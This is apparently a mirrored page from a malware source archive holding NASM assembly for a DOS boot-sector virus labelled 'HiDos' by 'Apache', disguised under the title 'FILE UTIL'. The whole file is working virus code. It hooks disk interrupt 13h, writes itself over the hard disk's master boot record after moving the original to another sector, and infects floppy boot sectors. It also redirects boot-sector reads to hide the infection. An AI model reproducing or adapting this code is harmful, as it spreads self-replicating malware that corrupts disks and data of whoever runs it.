mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
213 lines
5.6 KiB
NASM
213 lines
5.6 KiB
NASM
NAME boot
|
||
PAGE 55,132
|
||
TITLE FILE UTIL
|
||
|
||
|
||
|
||
|
||
code segment
|
||
|
||
ASSUME CS:CODE,DS:CODE,ES:CODE
|
||
|
||
org 100h
|
||
|
||
main: jmp over
|
||
db '['
|
||
id db 'HiDos]',0
|
||
by db 'By Apache',0
|
||
over: xor ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov ss,ax
|
||
mov sp,7c00h
|
||
sti
|
||
mov ax,ds:[004eh]
|
||
mov word ptr ds:[int13+7b02h],ax
|
||
mov ax,ds:[004ch]
|
||
mov word ptr ds:[int13+7b00h],ax
|
||
mov ax,ds:[0413h]
|
||
dec ax
|
||
dec ax
|
||
mov ds:[0413h],ax
|
||
mov cl,06h
|
||
shl ax,cl
|
||
mov es,ax
|
||
mov word ptr ds:[bigj+7b02h],es
|
||
mov ax,offset jumpt
|
||
mov word ptr ds:[bigj+7b00h],ax
|
||
mov cx,0400h
|
||
push cs
|
||
pop ds
|
||
mov si,7c00h
|
||
mov di,0100h
|
||
cld
|
||
repz
|
||
movsb
|
||
push cs
|
||
pop ds
|
||
jmp cs:[bigj+7b00h]
|
||
|
||
jumpt: push cs
|
||
pop ds
|
||
mov si,offset drive
|
||
cmp byte ptr ds:[si],80h
|
||
jz hdone
|
||
mov bx,0300h
|
||
mov cx,0001h
|
||
mov dx,0080h
|
||
push cs
|
||
pop es
|
||
call hdread
|
||
cmp ds:[0304h],'iH'
|
||
jz hdone
|
||
mov bx,0300h
|
||
mov cx,0007h
|
||
mov dx,0080h
|
||
call hdwrit
|
||
mov si,04beh
|
||
mov di,02beh
|
||
mov cx,0042h
|
||
cld
|
||
repz
|
||
movsb
|
||
mov byte ptr ds:[drive],80h
|
||
mov bx,0100h
|
||
mov cx,0001h
|
||
mov dx,0080h
|
||
call hdwrit
|
||
mov byte ptr ds:[drive],00h
|
||
|
||
hdone: xor ax,ax
|
||
mov word ptr cs:[boot+2],ax
|
||
mov es,ax
|
||
push cs
|
||
pop ds
|
||
mov ax,0201h
|
||
mov bx,7c00h
|
||
mov word ptr ds:[boot],bx
|
||
mov si,offset drive
|
||
cmp byte ptr ds:[si],80h
|
||
jz hload
|
||
mov cx,0003h
|
||
mov dx,0100h
|
||
jmp fload
|
||
hload: mov cx,0007h
|
||
mov dx,0080h
|
||
fload: mov di,'rv'
|
||
int 13h
|
||
mov si,offset drive
|
||
mov byte ptr cs:[si],00h
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov ds,ax
|
||
mov ax,offset nint13
|
||
mov ds:[004ch],ax
|
||
mov ds:[004eh],cs
|
||
push cs
|
||
pop ds
|
||
jmp cs:[boot]
|
||
|
||
hdwrit: mov ax,0301h
|
||
mov di,'rv'
|
||
jmp xx4
|
||
hdread: mov ax,0201h
|
||
mov di,'rv'
|
||
xx4: int 13h
|
||
ret
|
||
|
||
nint13: cmp di,'rv'
|
||
jz iv13
|
||
cmp ah,02h
|
||
jnz wcheck
|
||
cmp cl,01h
|
||
jnz wcheck
|
||
cmp dh,00h
|
||
jnz wcheck
|
||
cmp dl,80h
|
||
jz check1
|
||
cmp dl,00h
|
||
jnz wcheck
|
||
check1: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push di
|
||
mov bx,0300h
|
||
push cs
|
||
pop es
|
||
call hdread
|
||
mov si,offset [id+0200h]
|
||
cmp es:[si],'iH'
|
||
jz redirect
|
||
jmp iflopd
|
||
redirect: cmp dl,80h
|
||
jnz rdirfl
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
mov cx,0007h
|
||
jmp a13
|
||
|
||
rdirfl: pop di
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
mov cx,0003h
|
||
mov dx,0100h
|
||
a13: mov ax,0201h
|
||
iv13: jmp v13
|
||
|
||
|
||
wcheck: cmp ah,03h
|
||
jnz v13
|
||
cmp dl,00h
|
||
jnz v13
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push di
|
||
push cs
|
||
pop es
|
||
mov bx,0300h
|
||
mov cx,0001h
|
||
xor dx,dx
|
||
call hdread
|
||
mov si,offset [id+0200h]
|
||
cmp es:[si],'iH'
|
||
jz iflopd
|
||
mov cx,0003h
|
||
mov dx,0100h
|
||
mov bx,0300h
|
||
call hdwrit
|
||
mov bx,0100h
|
||
xor dx,dx
|
||
mov cx,0001h
|
||
call hdwrit
|
||
iflopd: pop di
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
v13: db 0eah
|
||
int13 dd 0h
|
||
drive db 0h
|
||
bigj dd 0h
|
||
boot dd 0h
|
||
|
||
code ends
|
||
|
||
end main |